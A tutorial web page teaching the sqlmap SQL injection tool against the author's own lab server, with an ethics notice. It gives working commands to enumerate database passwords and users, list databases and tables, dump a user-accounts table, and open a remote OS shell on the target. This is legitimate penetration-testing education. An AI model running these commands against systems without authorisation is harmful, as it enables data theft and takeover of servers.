Sweshi's Tutorials

Exploitation Tools


sqlmap tutorial

NOTICE: All the tutorials on this website are meant to help you find security vulnerabilties on your own network and devices to understand your security posture before black hats do. Penetration testing without a written consent is illegal and you can be prosecuted. Use these tutorials to secure your own networks or those whose permission you have been granted. Keep it ethical and keep it professional.
Table of Contents
introduction to sqlmap

SQLMap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities in web applications. The SQL injection is a common web application security vulnerability that occurs when an attacker can manipulate an application's SQL query by injecting malicious SQL code. SQLMap is designed to identify and exploit such vulnerabilities, helping security professionals and ethical hackers test the security of web applications. It provides a lot of features such as;

sqlmap features
  • Automates the discovery of sql injection vulnerabilities on web applications.
  • Automates the exploitation of sql injection vulnerabilities once found. If SQL injections are new to you, this means that you can do the following;
    • Log into a web application without the credentials.
    • View database records of the web application.
    • You can change records or delete them.
    • You can delete tables or even the entire DB.
  • SQLMap can enumerate information about the database, such as database names, table names, and column names. This information is crucial for further exploitation and data extraction.
  • SQLMap supports various database systems, including MySQL, PostgreSQL, Microsoft SQL Server, and Oracle, making it versatile for testing applications that use different database technologies.
  • This tool is one of the best things to happen to web applicaiton penetration testing.

installation of sqlmap on windows and linux

Kali Linux

In both Linux and windows systems, you can download the zip file and extract it to your preferred location. Download the archive from this site sqlmap downloads If you are on Linux, some distros will have the tool already so try running an package installation. Here is an example in Kali Linux.

sudo apt install sqlmap -y

windows

Make sure python is installed on the system because it uses python scripts. On windows, I extracted my copy in the C drive and renamed the folder to sqlmap. So my Windows path is like this "C:\sqlmap".

Open command prompt if you have extracted the folder navigate to it. When running the commands, I will be using Kali Linux for my demonstration but you can also follow using windows. Simply use "sqlmap.py" everywhere I use "sqlmap".

cd C:/sqlmap #windows test sqlmap.py -u "sweshi.com" --batch #Kali test sqlmap -u "sweshi.com" --batch
sqlmap usage tutorial

We can use the tool to target database driven websites. The command below targets a local web server and I target the login page.

Getting the database version using sqlmap
sqlmap -u "192.168.43.141/Lucky/login.php" --batch --forms -b

Here I insert the URL "-u" and set it to use default behaviour "--batch" and to analyze the forms on the page "--forms" and to display the database name and version "-b"

sqlmap tutorial: results from the form scan

You can see that the web application is using MySQL 5.0

Getting the database password using sqlmap

On the local web server I am using, I do not have a password set but we can still scan and see if it recognise that.

sqlmap -u "192.168.43.141/Lucky/login.php" --batch --forms -passwords sqlmap tutorial: viewing the password for the database user using sqlmap

You can see from the result that the two users "pma" and "root" have no passowrds set.

Getting the current user of the database using sqlmap

We can also see the user the database is running under. From the password enumeration, we saw pma and root users so the database must be using one of them to run.

sqlmap -u "192.168.43.141/Lucky/login.php" --batch --forms --current-user sqlmap tutorial:using sqlmap to view the current user of the database.

From the result, we can see that the root user is being used on "root@localhost"

listing all the databases on the database server using sqlmap

To list the databases that exist on the database, we can change the code to have the "-dbs" option as shown below.

We can continue specifying separate things to view. lets try to view the tables in the DBMS.

sqlmap -u "192.168.43.141/Lucky/login.php" --batch --forms --dbs sqlmap tutorial: viewing the databases on the database server.
Viewing the tables in a database in sqlmap

We can also select a specific database and then view the tables that are in it. For this, we will use the --tables option to view the tables of the DB and the -D option to select the database we are interested in checking.For this example, I select the table named "realstate" from the prior result.

sqlmap -u "192.168.43.141/Lucky/login.php" --batch --forms --tables -D realstate sqlmap tutorial: enumerating the database tables using sqlmap

We can see that there are some tables listed from the database. We are interested in the accountusers table. We will use this table to show how we can view the contents of the database table.

Viewing the contents of a table using sqlmap

We will select the table we are interested in using the -T option and then use the --dump option to display all the content. If we dont select the table, it can still show the contents of all the tables.

sqlmap -u "192.168.43.141/Lucky/login.php" --batch --forms --dump -T accountusers -D realstate sqlmap tutorial: how to show the contents of a table using sqlmap

We can see all the columns of the table as well as the values in each column.

Creating an OS Shell with sqlmap

Sqlmap allows the user to plant a payload on the target system that can give us remote access to the command line. Thats right, we can have full cmd by implementing an OS and do damage to the target even beyond the web application. Remember to use these things ethically, get permission before doing any of this stuff.

#connect to the OS sqlmap -u "192.168.43.141/Lucky/login.php" --batch --os-shell #listing content on windows shell dir sqlmap tutorial: os shell in sqlmap

I ran the "dir" command because my webserver is on a Windows machine. I was able to connect successfully and I was able to list the contents of the web folder. You can of course run commands on the shell that the target OS supports and this makes this an extremely dangerous feature.